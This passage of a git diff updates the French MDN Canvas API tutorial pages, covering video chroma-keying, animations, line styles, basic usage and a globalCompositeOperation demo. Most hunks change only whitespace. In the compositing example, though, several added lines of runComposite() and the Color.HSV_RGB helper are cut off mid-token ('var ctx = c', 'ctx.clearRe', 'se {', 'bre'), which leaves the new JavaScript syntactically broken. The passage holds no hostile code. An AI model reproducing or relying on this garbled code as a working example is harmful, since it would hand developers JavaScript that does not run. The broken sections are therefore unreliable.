b/files/fr/web/api/canvas_api/manipulating_video_using_canvas/index.md @@ -146,7 +146,7 @@ Quand la routine est appelée, l'élément vidéo affiche les données de la plu La ligne 3 extrait une copie des données graphiques brutes pour l'image courante de la vidéo en appelant la méthode `getImageData()` sur le premier contexte. Cela fournit des données brutes d'image pixel 32 bits que nous pouvons ensuite manipuler. La ligne 4 calcule le nombre de pixels de l'image en divisant la taille totale des données d'image du cadre par quatre. -La boucle `for`, qui commence à la ligne 6, parcourt les pixels du cadre en extrayant les valeurs rouges, vertes et bleues de chaque pixel et compare les valeurs aux nombres prédéterminés utilisés pour détecter l'écran vert qui sera remplacé par l'image de fond importée de `foo.png`. +La boucle `for`, qui commence à la ligne 6, parcourt les pixels du cadre en extrayant les valeurs rouges, vertes et bleues de chaque pixel et compare les valeurs aux nombres prédéterminés utilisés pour détecter l'écran vert qui sera remplacé par l'image de fond importée de `foo.png`. Chaque pixel dans les données d'image, qui se trouve dans les paramètres considérés comme faisant partie de l'écran vert, a sa valeur alpha remplacée par un zéro, indiquant que le pixel est entièrement transparent. En conséquence, l'image finale a toute la zone d'écran vert 100% transparente, de sorte que lorsqu'elle est dessinée dans le contexte de destination à la ligne 13, le résultat est une superposition sur la toile de fond statique. diff --git a/files/fr/web/api/canvas_api/tutorial/advanced_animations/index.md b/files/fr/web/api/canvas_api/tutorial/advanced_animations/index.md index be0df6f74b..7b678a522a 100644 --- a/files/fr/web/api/canvas_api/tutorial/advanced_animations/index.md +++ b/files/fr/web/api/canvas_api/tutorial/advanced_animations/index.md @@ -91,10 +91,10 @@ Si aucun test de collision n'est effectué, notre balle sort hors du canevas rap ```js if (ball.y + ball.vy > canvas.height || ball.y + ball.vy < 0) { - ball.vy = -ball.vy; + ball.vy = -ball.vy; } if (ball.x + ball.vx > canvas.width || ball.x + ball.vx < 0) { - ball.vx = -ball.vx; + ball.vx = -ball.vx; } ``` diff --git a/files/fr/web/api/canvas_api/tutorial/applying_styles_and_colors/index.md b/files/fr/web/api/canvas_api/tutorial/applying_styles_and_colors/index.md index 31cf501014..b3cc9f0edc 100644 --- a/files/fr/web/api/canvas_api/tutorial/applying_styles_and_colors/index.md +++ b/files/fr/web/api/canvas_api/tutorial/applying_styles_and_colors/index.md @@ -6,7 +6,7 @@ original_slug: Web/API/Canvas_API/Tutoriel_canvas/Ajout_de_styles_et_de_couleurs --- {{CanvasSidebar}} {{PreviousNext("Tutoriel_canvas/Formes_géométriques", "Dessin_de_texte_avec_canvas")}} -Dans le chapitre sur [les formes géométriques](/fr/docs/Tutoriel_canvas/Formes_g%C3%A9om%C3%A9triques), nous avons utilisé les styles de lignes et de remplissage par défaut. Ici, nous allons explorer les options de canvas à notre disposition pour rendre nos dessins un peu plus attrayants. Vous apprendrez comment ajouter des couleurs différentes, des styles de ligne, des dégradés, des motifs et des ombres à vos dessins. +Dans le chapitre sur [les formes géométriques](/fr/docs/Tutoriel_canvas/Formes_g%C3%A9om%C3%A9triques), nous avons utilisé les styles de lignes et de remplissage par défaut. Ici, nous allons explorer les options de canvas à notre disposition pour rendre nos dessins un peu plus attrayants. Vous apprendrez comment ajouter des couleurs différentes, des styles de ligne, des dégradés, des motifs et des ombres à vos dessins. ## Les couleurs @@ -19,7 +19,7 @@ Jusqu'à présent, nous avons seulement vu des méthodes sur le contexte de dess `color` est une chaîne représentant un CSS {{cssxref("<color>")}}, d'un objet gradient ou d'un objet motif. Nous allons examiner le gradient et la structure des objets plus tard. Par défaut, l'encadrement et la couleur de remplissage sont fixés sur noir (valeur `#000000` de CSS `color`). -> **Note :** Lorsque vous définissez `strokeStyle` et `fillStyle`, la nouvelle valeur devient la valeur par défaut pour toutes les formes en cours d'élaboration à partir de là. Pour chaque forme que vous voulez dans une couleur différente, vous aurez besoin de réaffecter `fillStyle` ou `strokeStyle`. +> **Note :** Lorsque vous définissez `strokeStyle` et `fillStyle`, la nouvelle valeur devient la valeur par défaut pour toutes les formes en cours d'élaboration à partir de là. Pour chaque forme que vous voulez dans une couleur différente, vous aurez besoin de réaffecter `fillStyle` ou `strokeStyle`. Les chaînes pour être valides, doivent être conforme à la spécification CSS {{cssxref("<color>")}}. Chacun des exemples suivants décrit la même couleur. @@ -250,7 +250,7 @@ Si vous considérez un tracé de (3,1) à (3,5) avec une épaisseur de ligne de Pour résoudre ce problème, vous devez être très précis dans la création de votre tracé. Sachant qu'une largeur de `1.0` s'étendra d'une demi-unité de chaque côté du tracé, créer le tracé de (3.5,1) à (3.5,5) aboutit à l'exemple trois pour une largeur de `1.0` et au remplissage d'un seul pixel de ligne verticale. -> **Note :** Sachez que dans notre exemple de ligne verticale, la position Y fait toujours référence à une position de grille entière — sinon, vous verrez des pixels à moitié colorés à gauche et à droite (mais notez aussi que ce comportement dépend de l'actuel style `lineCap`, dont la valeur par défaut est `butt`. Vous pouvez essayer de tracer des traits consistants avec des coordonnées non-entières pour les lignes et avec une largeur particulière, en définissant le style `lineCap` à `square`, pour que le bord extérieur du trait autour du point final soit automatiquement étendu pour couvrir le pixel entier). +> **Note :** Sachez que dans notre exemple de ligne verticale, la position Y fait toujours référence à une position de grille entière — sinon, vous verrez des pixels à moitié colorés à gauche et à droite (mais notez aussi que ce comportement dépend de l'actuel style `lineCap`, dont la valeur par défaut est `butt`. Vous pouvez essayer de tracer des traits consistants avec des coordonnées non-entières pour les lignes et avec une largeur particulière, en définissant le style `lineCap` à `square`, pour que le bord extérieur du trait autour du point final soit automatiquement étendu pour couvrir le pixel entier). > > Notez également que seuls les points de début et de fin d'un chemin sont affectés : si un chemin est fermé avec `closePath ()`, il n'y a pas de point de départ ni de point final ; à la place, tous les points d'extrémité du chemin sont connectés à leurs segments joints précédent et suivant, en utilisant le paramètre courant du style `lineJoin`, dont la valeur par défaut est `miter`, avec pour effet d'étendre automatiquement les bordures extérieures des segments connectés à leur point d'intersection. Ainsi, le trait de rendu couvrira exactement les pixels pleins centrés à chaque extrémité si ces segments connectés sont horizontaux et / ou verticaux. Voir les deux sections suivantes pour les démonstrations de ces styles de lignes supplémentaires. @@ -258,20 +258,20 @@ Pour les lignes de largeur paire, chaque moitié finit par être un nombre entie Bien que légèrement ennuyeux quand on travaille avec des graphismes 2D évolutifs, en accordant une attention à la grille de pixels et à la position des tracés, vous vous assurez du comportement correct de vos dessins, et ce, indépendamment de la mise à l'échelle ou d'autres transformations. Une ligne verticale de largeur 1,0 à la bonne position deviendra une ligne de 2 pixels nette à l'échelle 2. -### Un exemple de `lineCap` +### Un exemple de `lineCap` -La propriété `lineCap` détermine comment les extrêmités de chaque ligne sont dessinées. Il y a trois valeurs possibles pour la propriété : `butt`, `round` et `square`. Par défaut, la propriété est définie à `butt`. +La propriété `lineCap` détermine comment les extrêmités de chaque ligne sont dessinées. Il y a trois valeurs possibles pour la propriété : `butt`, `round` et `square`. Par défaut, la propriété est définie à `butt`. - `butt` _(bout)_ - : L'extrémité des lignes est en angle droit. - `round` _(rond)_ - : Les extrémités sont arrondies. - `square` _(carré)_ - - : Les extrémités sont en angle droit en ajoutant une extension d'une largeur égale à la ligne et une hauteur égale à la moitié de la largeur de la ligne. + - : Les extrémités sont en angle droit en ajoutant une extension d'une largeur égale à la ligne et une hauteur égale à la moitié de la largeur de la ligne. -Dans cet exemple, nous avons tracé trois lignes, chacune avec une valeur différente pour la propriété `lineCap`. Nous avons par ailleurs ajouté deux guides pour voir exactement les différences entre les trois lignes. Chacune de ces trois lignes est identique entre les deux traits bleus. +Dans cet exemple, nous avons tracé trois lignes, chacune avec une valeur différente pour la propriété `lineCap`. Nous avons par ailleurs ajouté deux guides pour voir exactement les différences entre les trois lignes. Chacune de ces trois lignes est identique entre les deux traits bleus. -La ligne de gauche utilise l'option par défaut `butt`. Vous pourrez noter qu'elle est entièrement dessinée entre les deux guides. La deuxième utilise l'option `round`. Elle ajoute un demi-cercle à chaque extrémité d'un rayon valant la moitié de la largeur de la ligne. La ligne de droite utilise l'option `square`. Elle ajoute une extension avec une largeur égale à la ligne et une hauteur équivalante à la moitié de la largeur de la ligne. +La ligne de gauche utilise l'option par défaut `butt`. Vous pourrez noter qu'elle est entièrement dessinée entre les deux guides. La deuxième utilise l'option `round`. Elle ajoute un demi-cercle à chaque extrémité d'un rayon valant la moitié de la largeur de la ligne. La ligne de droite utilise l'option `square`. Elle ajoute une extension avec une largeur égale à la ligne et une hauteur équivalante à la moitié de la largeur de la ligne. ```js function draw() { @@ -310,16 +310,16 @@ draw(); {{EmbedLiveSample("Un_exemple_de_lineCap", "180", "180", "canvas_linecap.png")}} -### Un exemple de `lineJoin` +### Un exemple de `lineJoin` -La propriété `lineJoin` détermine comment deux segments (lignes, arcs ou courbes), de largeur non nulle se connectant dans une forme, sont joints ensemble (les segments de longueur nulle, dont les coordonnées de départ et de fin sont exactement les mêmes, sont ignorés). +La propriété `lineJoin` détermine comment deux segments (lignes, arcs ou courbes), de largeur non nulle se connectant dans une forme, sont joints ensemble (les segments de longueur nulle, dont les coordonnées de départ et de fin sont exactement les mêmes, sont ignorés). -Il existe trois valeurs possibles pour cette propriété : `round`, `bevel` et `miter`. Par défaut, cette propriété est définie à `miter`. Notez que le paramètre `lineJoin` n'a pas d'effet si les deux segments connectés ont la même direction, parce qu'aucune zone de jointure ne sera ajoutée dans ce cas. +Il existe trois valeurs possibles pour cette propriété : `round`, `bevel` et `miter`. Par défaut, cette propriété est définie à `miter`. Notez que le paramètre `lineJoin` n'a pas d'effet si les deux segments connectés ont la même direction, parce qu'aucune zone de jointure ne sera ajoutée dans ce cas. - `round` _(rond)_ - - : Arrondit les angles des segments en ajoutant un arc de cercle centré à l'extrémité commune des segments connectés. Le rayon de ces angles arrondis est égal à la moitié de la largeur du trait. + - : Arrondit les angles des segments en ajoutant un arc de cercle centré à l'extrémité commune des segments connectés. Le rayon de ces angles arrondis est égal à la moitié de la largeur du trait. - `bevel` _(biseau)_ - - : Ajoute un triangle à l'extrémité commune des segments connectés. + - : Ajoute un triangle à l'extrémité commune des segments connectés. - `miter` _(onglet)_ - : Les segments connectés sont reliés en prolongeant leurs bords extérieurs pour se connecter en un seul point, avec pour effet de remplir une zone supplémentaire en forme de losange. Ce paramètre est effectué par la propriété miterLimit qui est expliquée ci-dessous. @@ -596,7 +596,7 @@ Le dernier arrêt de couleur dans chacun des quatre dégradés utilise une coule Dans l'un des exemples de la page précédente, nous avons utilisé une série de boucles pour créer un motif d'images. Il existe cependant une méthode beaucoup plus simple : la méthode `createPattern ()`. - {{domxref("CanvasRenderingContext2D.createPattern", "createPattern(image, type)")}} - - : Crée et renvoie un nouvel objet de canvas. `image` est un {{domxref ("CanvasImageSource")}} (c'est-à-dire un {{domxref ("HTMLImageElement")}} ; un autre élément canvas, `type` est une chaîne indiquant comment utiliser l'image. + - : Crée et renvoie un nouvel objet de canvas. `image` est un {{domxref ("CanvasImageSource")}} (c'est-à-dire un {{domxref ("HTMLImageElement")}} ; un autre élément canvas, `type` est une chaîne indiquant comment utiliser l'image. Le type spécifie comment utiliser l'image pour créer le motif et doit avoir l'une des valeurs de chaîne suivantes : @@ -707,7 +707,7 @@ Nous allons regarder la propriété de la `font` _(police de caratères)_ et la ## Règles de remplissage Canvas -Lors de l'utilisation de `fill` (ou {{domxref ("CanvasRenderingContext2D.clip", "clip")}} et {{domxref("CanvasRenderingContext2D.isPointInPath", "isPointinPath")}}) , déterminez si un point est à l'intérieur ou à l'extérieur d'un chemin et ainsi, s'il est rempli ou non. Ceci est utile lorsqu'un chemin en croise un autre ou est imbriqué. +Lors de l'utilisation de `fill` (ou {{domxref ("CanvasRenderingContext2D.clip", "clip")}} et {{domxref("CanvasRenderingContext2D.isPointInPath", "isPointinPath")}}) , déterminez si un point est à l'intérieur ou à l'extérieur d'un chemin et ainsi, s'il est rempli ou non. Ceci est utile lorsqu'un chemin en croise un autre ou est imbriqué. Deux valeurs sont possibles : diff --git a/files/fr/web/api/canvas_api/tutorial/basic_animations/index.md b/files/fr/web/api/canvas_api/tutorial/basic_animations/index.md index a8b72b6e50..72075e3b32 100644 --- a/files/fr/web/api/canvas_api/tutorial/basic_animations/index.md +++ b/files/fr/web/api/canvas_api/tutorial/basic_animations/index.md @@ -13,7 +13,7 @@ original_slug: Web/API/Canvas_API/Tutoriel_canvas/Animations_basiques --- {{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Compositing", "Tutoriel_canvas/Advanced_animations")}} -Avec l'utilisation en Javascript du composant {{HTMLElement("canvas")}}, il est très simple de créer des animations (interactives). Ce chapitre décrit comment créer quelques animations basiques. +Avec l'utilisation en Javascript du composant {{HTMLElement("canvas")}}, il est très simple de créer des animations (interactives). Ce chapitre décrit comment créer quelques animations basiques. La plus grosse limitation est sans doute qu'une fois qu'une forme est dessinée, elle reste telle quelle. Si on a besoin de la déplacer, il faut la redessiner avec ce qui était dessiné avant. Cela peut prendre beaucoup de temps de redessiner des images complexes et les performances dépendront beaucoup de la vitesse de l'ordinateur qui exécute cet affichage. @@ -28,7 +28,7 @@ Voici les étapes à suivre à chaque image dessinée (frame) : 3. **Dessiner les formes animées** Vous effectuez toutes les opérations pour afficher l'image. 4. **Restaurer l'état du canevas** - Si l'état du canevas a été sauvegardé, vous restaurez cet état avant le prochain rendu. + Si l'état du canevas a été sauvegardé, vous restaurez cet état avant le prochain rendu. ## Contrôle d'une animation @@ -226,9 +226,9 @@ window.requestAnimationFrame(clock); {{EmbedLiveSample("Une_horloge_animée", "180", "180")}} -## Un panorama défilant en boucle +## Un panorama défilant en boucle -Dans cet exemple, un panorama défile de la gauche vers la droite et recommence. Nous utilisons une [image du parc Yosemite National](http://commons.wikimedia.org/wiki/File:Capitan_Meadows,_Yosemite_National_Park.jpg) récupérée sur Wikimedia, vous pouvez utiliser une autre image de votre choix qui est plus grande que le canevas. +Dans cet exemple, un panorama défile de la gauche vers la droite et recommence. Nous utilisons une [image du parc Yosemite National](http://commons.wikimedia.org/wiki/File:Capitan_Meadows,_Yosemite_National_Park.jpg) récupérée sur Wikimedia, vous pouvez utiliser une autre image de votre choix qui est plus grande que le canevas. ```js var img = new Image(); @@ -318,7 +318,7 @@ function draw() { } ``` -En dessous, vous trouvez l'élément {{HTMLElement("canvas")}} avec l'image qui défile. Notez que les dimensions de largeur et de hauteur spécifiées doivent correspondre aux valeurs des variables `CanvasXZSize` et `CanvasYSize` dans le code JavaScript. +En dessous, vous trouvez l'élément {{HTMLElement("canvas")}} avec l'image qui défile. Notez que les dimensions de largeur et de hauteur spécifiées doivent correspondre aux valeurs des variables `CanvasXZSize` et `CanvasYSize` dans le code JavaScript. ```html <canvas id="canvas" width="800" height="200"></canvas> diff --git a/files/fr/web/api/canvas_api/tutorial/basic_usage/index.md b/files/fr/web/api/canvas_api/tutorial/basic_usage/index.md index ca47946655..f391ead52a 100644 --- a/files/fr/web/api/canvas_api/tutorial/basic_usage/index.md +++ b/files/fr/web/api/canvas_api/tutorial/basic_usage/index.md @@ -58,7 +58,7 @@ Si vous n'avez pas besoin de contenu de repli, un simple `<canvas id="foo" ...>< L'élément {{HTMLElement("canvas")}} crée une surface pour dessiner à grandeur fixe. Cette surface expose un ou plusieurs **contextes de rendu**, qui sont utilisés pour créer et manipuler le contenu affiché. Ce tutoriel se concentrera sur le contexte de rendu 2D. D'autres contextes permettent d'autres types de rendu, tel que le contexte [WebGL](/fr/docs/Web/WebGL), qui utilise un contexte 3D ("experimental-webgl") inspiré de [OpenGL ES](http://www.khronos.org/opengles/). -Initialement, le canvas est vide. Pour afficher quelque chose, un script doit commencer par accéder au contexte de rendu pour pouvoir dessiner dessus. L'élément {{HTMLElement("canvas")}} a une [méthode](/fr/docs/Web/API/HTMLCanvasElement#M.C3.A9thodes) nommée `getContext()`, qui peut être utilisée pour obtenir le contexte de rendu et ses fonctions de dessin. `getContext()` a comme seul paramètre le type de contexte. Pour des graphiques 2D, comme ceux utilisés dans ce tutoriel, il faut spécifier "2d". +Initialement, le canvas est vide. Pour afficher quelque chose, un script doit commencer par accéder au contexte de rendu pour pouvoir dessiner dessus. L'élément {{HTMLElement("canvas")}} a une [méthode](/fr/docs/Web/API/HTMLCanvasElement#M.C3.A9thodes) nommée `getContext()`, qui peut être utilisée pour obtenir le contexte de rendu et ses fonctions de dessin. `getContext()` a comme seul paramètre le type de contexte. Pour des graphiques 2D, comme ceux utilisés dans ce tutoriel, il faut spécifier "2d". ```js var canvas = document.getElementById('tutorial'); @@ -69,7 +69,7 @@ La première ligne obtient le {{HTMLElement("canvas")}} dans le DOM en appelant ## Vérification de la prise en charge -Le contenu de repli est affiché dans les navigateurs qui ne prennent pas en charge l'élément {{HTMLElement("canvas")}}. Les scripts peuvent aussi vérifier la prise en charge de manière programmatique en vérifiant la présence de la méthode `getContext()`. Notre extrait de code ci-dessus se transforme donc en ceci : +Le contenu de repli est affiché dans les navigateurs qui ne prennent pas en charge l'élément {{HTMLElement("canvas")}}. Les scripts peuvent aussi vérifier la prise en charge de manière programmatique en vérifiant la présence de la méthode `getContext()`. Notre extrait de code ci-dessus se transforme donc en ceci : ```js var canvas = document.getElementById('tutorial'); @@ -110,7 +110,7 @@ Voici un modèle minimaliste, que nous allons utiliser comme point de départ da </html> ``` -Ce script contient une fonction `draw()`, qui est exécutée lorsque la page a fini de charger. Ce résultat est obtenu en utilisant l'événement de chargement du document. Cette fonction, ou une fonction similaire, pourrait aussi être appelé en utilisant {{domxref("window.setTimeout()")}}, {{domxref("window.setInterval()")}}, ou n'importe quel autre gestionnaire d'événement, tant que la page est chargée en premier. +Ce script contient une fonction `draw()`, qui est exécutée lorsque la page a fini de charger. Ce résultat est obtenu en utilisant l'événement de chargement du document. Cette fonction, ou une fonction similaire, pourrait aussi être appelé en utilisant {{domxref("window.setTimeout()")}}, {{domxref("window.setInterval()")}}, ou n'importe quel autre gestionnaire d'événement, tant que la page est chargée en premier. Voici à quoi le modèle ressemble : diff --git a/files/fr/web/api/canvas_api/tutorial/compositing/example/index.md b/files/fr/web/api/canvas_api/tutorial/compositing/example/index.md index e3343ba8a3..283e149ca1 100644 --- a/files/fr/web/api/canvas_api/tutorial/compositing/example/index.md +++ b/files/fr/web/api/canvas_api/tutorial/compositing/example/index.md @@ -25,11 +25,11 @@ Ce code configure les valeurs globales utilisées par le reste du programme. var canvas1 = document.createElement("canvas"); var canvas2 = document.createElement("canvas"); var gco = [ 'source-over','source-in','source-out','source-atop', - 'destination-over','destination-in','destination-out','destination-atop', - 'lighter', 'copy','xor', 'multiply', 'screen', 'overlay', 'darken', - 'lighten', 'color-dodge', 'color-burn', 'hard-light', 'soft-light', - 'difference', 'exclusion', 'hue', 'saturation', 'color', 'luminosity' - ].reverse(); + 'destination-over','destination-in','destination-out','destination-atop', + 'lighter', 'copy','xor', 'multiply', 'screen', 'overlay', 'darken', + 'lighten', 'color-dodge', 'color-burn', 'hard-light', 'soft-light', + 'difference', 'exclusion', 'hue', 'saturation', 'color', 'luminosity' + ].reverse(); var gcoText = [ "C'est la configuration par défaut, elle dessine les nouvelles formes au-dessus du contenu existant sur le canvas.", "La nouvelle forme est dessinée uniquement là où il y a déjà du contenu sur le canvas. Tout le reste est rendu transparent.", @@ -68,21 +68,21 @@ Quand la page se charge, le code suivant s'exécute pour configurer et exécuter ```js window.onload = function() { - // lum en sRGB - var lum = { - r: 0.33, - g: 0.33, - b: 0.33 - }; - // redimensionne le canvas - canvas1.width = width; - canvas1.height = height; - canvas2.width = width; - canvas2.height = height; - lightMix() - colorSphere(); - runComposite(); - return; + // lum en sRGB + var lum = { + r: 0.33, + g: 0.33, + b: 0.33 + }; + // redimensionne le canvas + canvas1.width = width; + canvas1.height = height; + canvas2.width = width; + canvas2.height = height; + lightMix() + colorSphere(); + runComposite(); + return; }; ``` @@ -90,74 +90,74 @@ Et dans le code suivant, `runComposite()` gère la majeure partie du travail, en ```js function createCanvas() { - var canvas = document.createElement("canvas"); - canvas.style.background = "url("+op_8x8.data+")"; - canvas.style.border = "1px solid #000"; - canvas.style.margin = "5px"; - canvas.width = width/2; - canvas.height = height/2; - return canvas; + var canvas = document.createElement("canvas"); + canvas.style.background = "url("+op_8x8.data+")"; + canvas.style.border = "1px solid #000"; + canvas.style.margin = "5px"; + canvas.width = width/2; + canvas.height = height/2; + return canvas; } function runComposite() { - var dl = document.createElement("dl"); - document.body.appendChild(dl); - while(gco.length) { - var pop = gco.pop(); - var dt = document.createElement("dt"); - dt.textContent = pop; - dl.appendChild(dt); - var dd = document.createElement("dd"); - var p = document.createElement("p"); - p.textContent = gcoText.pop(); - dd.appendChild(p); + var dl = document.createElement("dl"); + document.body.appendChild(dl); + while(gco.length) { + var pop = gco.pop(); + var dt = document.createElement("dt"); + dt.textContent = pop; + dl.appendChild(dt); + var dd = document.createElement("dd"); + var p = document.createElement("p"); + p.textContent = gcoText.pop(); + dd.appendChild(p); - var canvasToDrawOn = createCanvas(); - var canvasToDrawFrom = createCanvas(); - var canvasToDrawResult = createCanvas(); + var canvasToDrawOn = createCanvas(); + var canvasToDrawFrom = createCanvas(); + var canvasToDrawResult = createCanvas(); - var ctx = canvasToDrawResult.getContext('2d'); - ctx.clearRect(0, 0, width, height) - ctx.save(); - ctx.drawImage(canvas1, 0, 0, width/2, height/2); - ctx.globalCompositeOperation = pop; - ctx.drawImage(canvas2, 0, 0, width/2, height/2); - ctx.globalCompositeOperation = "source-over"; - ctx.fillStyle = "rgba(0,0,0,0.8)"; - ctx.fillRect(0, height/2 - 20, width/2, 20); - ctx.fillStyle = "#FFF"; - ctx.font = "14px arial"; - ctx.fillText(pop, 5, height/2 - 5); - ctx.restore(); - - var ctx = canvasToDrawOn.getContext('2d'); - ctx.clearRect(0, 0, width, height) - ctx.save(); - ctx.drawImage(canvas1, 0, 0, width/2, height/2); - ctx.fillStyle = "rgba(0,0,0,0.8)"; - ctx.fillRect(0, height/2 - 20, width/2, 20); - ctx.fillStyle = "#FFF"; - ctx.font = "14px arial"; - ctx.fillText('existing content', 5, height/2 - 5); - ctx.restore(); - - var ctx = canvasToDrawFrom.getContext('2d'); - ctx.clearRect(0, 0, width, height) - ctx.save(); - ctx.drawImage(canvas2, 0, 0, width/2, height/2); - ctx.fillStyle = "rgba(0,0,0,0.8)"; - ctx.fillRect(0, height/2 - 20, width/2, 20); - ctx.fillStyle = "#FFF"; - ctx.font = "14px arial"; - ctx.fillText('new content', 5, height/2 - 5); - ctx.restore(); - - dd.appendChild(canvasToDrawOn); - dd.appendChild(canvasToDrawFrom); - dd.appendChild(canvasToDrawResult); - - dl.appendChild(dd); - } + var ctx = canvasToDrawResult.getContext('2d'); + ctx.clearRect(0, 0, width, height) + ctx.save(); + ctx.drawImage(canvas1, 0, 0, width/2, height/2); + ctx.globalCompositeOperation = pop; + ctx.drawImage(canvas2, 0, 0, width/2, height/2); + ctx.globalCompositeOperation = "source-over"; + ctx.fillStyle = "rgba(0,0,0,0.8)"; + ctx.fillRect(0, height/2 - 20, width/2, 20); + ctx.fillStyle = "#FFF"; + ctx.font = "14px arial"; + ctx.fillText(pop, 5, height/2 - 5); + ctx.restore(); + + var ctx = c + ctx.clearRe + ctx.save(); + ctx.drawImage(canvas1, + ctx.fillStyle = + ctx.fillRect(0, + ctx.fillStyle + ctx.font = "14 + ctx.fillText(' + ctx.restore + + var ctx = c + ctx.clearRe + ctx.save(); + ctx.drawImage(c + ctx.fillStyle = + ctx.fillRect(0, + ctx.fillStyle = "# + ctx.font = "14p + x.fillText('new c + x.restore(); + + dd.appendChil + dd.appendChild(canvasToDrawFrom); + dd.appendChild(canvasToDrawResult); + + dl.appendChild(dd); + } }; ``` @@ -167,59 +167,59 @@ Notre programme repose sur un certain nombbre de fonctions utilitaires: ```js var lightMix = function() { - var ctx = canvas2.getContext("2d"); - ctx.save(); - ctx.globalCompositeOperation = "lighter"; - ctx.beginPath(); - ctx.fillStyle = "rgba(255,0,0,1)"; - ctx.arc(100, 200, 100, Math.PI*2, 0, false); - ctx.fill() - ctx.beginPath(); - ctx.fillStyle = "rgba(0,0,255,1)"; - ctx.arc(220, 200, 100, Math.PI*2, 0, false); - ctx.fill() - ctx.beginPath(); - ctx.fillStyle = "rgba(0,255,0,1)"; - ctx.arc(160, 100, 100, Math.PI*2, 0, false); - ctx.fill(); - ctx.restore(); - ctx.beginPath(); - ctx.fillStyle = "#f00"; - ctx.fillRect(0,0,30,30) - ctx.fill(); + var ctx = canvas2.getContext("2d"); + ctx.save(); + ctx.globalCompositeOperation = "lighter"; + ctx.beginPath(); + ctx.fillStyle = "rgba(255,0,0,1)"; + ctx.arc(100, 200, 100, Math.PI*2, 0, false); + ctx.fill() + ctx.beginPath(); + ctx.fillStyle = "rgba(0,0,255,1)"; + ctx.arc(220, 200, 100, Math.PI*2, 0, false); + ctx.fill() + ctx.beginPath(); + ctx.fillStyle = "rgba(0,255,0,1)"; + ctx.arc(160, 100, 100, Math.PI*2, 0, false); + ctx.fill(); + ctx.restore(); + ctx.beginPath(); + ctx.fillStyle = "#f00"; + ctx.fillRect(0,0,30,30) + ctx.fill(); }; ``` ```js var colorSphere = function(element) { - var ctx = canvas1.getContext("2d"); - var width = 360; - var halfWidth = width / 2; - var rotate = (1 / 360) * Math.PI * 2; // per degree - var offset = 0; // scrollbar offset - var oleft = -20; - var otop = -20; - for (var n = 0; n <= 359; n ++) { - var gradient = ctx.createLinearGradient(oleft + halfWidth, otop, oleft + halfWidth, otop + halfWidth); - var color = Color.HSV_RGB({ H: (n + 300) % 360, S: 100, V: 100 }); - gradient.addColorStop(0, "rgba(0,0,0,0)"); - gradient.addColorStop(0.7, "rgba("+color.R+","+color.G+","+color.B+",1)"); - gradient.addColorStop(1, "rgba(255,255,255,1)"); - ctx.beginPath(); - ctx.moveTo(oleft + halfWidth, otop); - ctx.lineTo(oleft + halfWidth, otop + halfWidth); - ctx.lineTo(oleft + halfWidth + 6, otop); - ctx.fillStyle = gradient; - ctx.fill(); - ctx.translate(oleft + halfWidth, otop + halfWidth); - ctx.rotate(rotate); - ctx.translate(-(oleft + halfWidth), -(otop + halfWidth)); - } - ctx.beginPath(); - ctx.fillStyle = "#00f"; - ctx.fillRect(15,15,30,30) - ctx.fill(); - return ctx.canvas; + var ctx = canvas1.getContext("2d"); + var width = 360; + var halfWidth = width / 2; + var rotate = (1 / 360) * Math.PI * 2; // per degree + var offset = 0; // scrollbar offset + var oleft = -20; + var otop = -20; + for (var n = 0; n <= 359; n ++) { + var gradient = ctx.createLinearGradient(oleft + halfWidth, otop, oleft + halfWidth, otop + halfWidth); + var color = Color.HSV_RGB({ H: (n + 300) % 360, S: 100, V: 100 }); + gradient.addColorStop(0, "rgba(0,0,0,0)"); + gradient.addColorStop(0.7, "rgba("+color.R+","+color.G+","+color.B+",1)"); + gradient.addColorStop(1, "rgba(255,255,255,1)"); + ctx.beginPath(); + ctx.moveTo(oleft + halfWidth, otop); + ctx.lineTo(oleft + halfWidth, otop + halfWidth); + ctx.lineTo(oleft + halfWidth + 6, otop); + ctx.fillStyle = gradient; + ctx.fill(); + ctx.translate(oleft + halfWidth, otop + halfWidth); + ctx.rotate(rotate); + ctx.translate(-(oleft + halfWidth), -(otop + halfWidth)); + } + ctx.beginPath(); + ctx.fillStyle = "#00f"; + ctx.fillRect(15,15,30,30) + ctx.fill(); + return ctx.canvas; }; ``` @@ -227,76 +227,76 @@ var colorSphere = function(element) { // HSV (1978) = H: Hue / S: Saturation / V: Value Color = {}; Color.HSV_RGB = function (o) { - var H = o.H / 360, - S = o.S / 100, - V = o.V / 100, - R, G, B; - var A, B, C, D; - if (S == 0) { - R = G = B = Math.round(V * 255); - } else { - if (H >= 1) H = 0; - H = 6 * H; - D = H - Math.floor(H); - A = Math.round(255 * V * (1 - S)); - B = Math.round(255 * V * (1 - (S * D))); - C = Math.round(255 * V * (1 - (S * (1 - D)))); - V = Math.round(255 * V); - switch (Math.floor(H)) { - case 0: - R = V; - G = C; - B = A; - break; - case 1: - R = B; - G = V; - B = A; - break; - case 2: - R = A; - G = V; - B = C; - break; - case 3: - R = A; - G = B; - B = V; - break; - case 4: - R = C; - G = A; - B = V; - break; - case 5: - R = V; - G = A; - B = B; - break; - } - } - return { - R: R, - G: G, - B: B - }; + var H = o.H / 360, + S = o.S / 100, + V = o.V / 100, + R, G, B; + var A, B, C, D; + if (S == 0) { + R = G = B = Math.round(V * 255); + se { + if (H >= 1 + H = 6 * H; + D = H - Math.floor(H); + A = Math.round(255 * V * (1 - S)); + B = Math.round(255 * V * (1 - (S * D))); + C = Math.round(255 * V * + V = Math.round(255 * V); + switch (Mat + case 0: + R = V; + G = C; + B = A; + bre + 1: + R = B; + G = V; + B = A; + bre + 2: + R = A; + G = V; + B = C; + bre + 3: + R = A; + G = B; + B = V; + bre + 4: + R = C; + G = A; + B = V; + bre + case 5: + R = V; + G = A; + B = B; + break; + } + } + return { + R: R, + G: G, + B: B + }; }; var createInterlace = function (size, color1, color2) { - var proto = document.createElement("canvas").getContext("2d"); - proto.canvas.width = size * 2; - proto.canvas.height = size * 2; - proto.fillStyle = color1; // top-left - proto.fillRect(0, 0, size, size); - proto.fillStyle = color2; // top-right - proto.fillRect(size, 0, size, size); - proto.fillStyle = color2; // bottom-left - proto.fillRect(0, size, size, size); - proto.fillStyle = color1; // bottom-right - proto.fillRect(size, size, size, size); - var pattern = proto.createPattern(proto.canvas, "repeat"); - pattern.data = proto.canvas.toDataURL(); - return pattern; + var proto = document.createElement("canvas").getContext("2d"); + proto.canvas.width = size * 2; + proto.canvas.height = size * 2; + proto.fillStyle = color1; // top-left + proto.fillRect(0, 0, size, size); + proto.fillStyle = color2; // top-right + proto.fillRect(size, 0, size, size); + proto.fillStyle = color2; // bottom-left + proto.fillRect(0, size, size, size); + 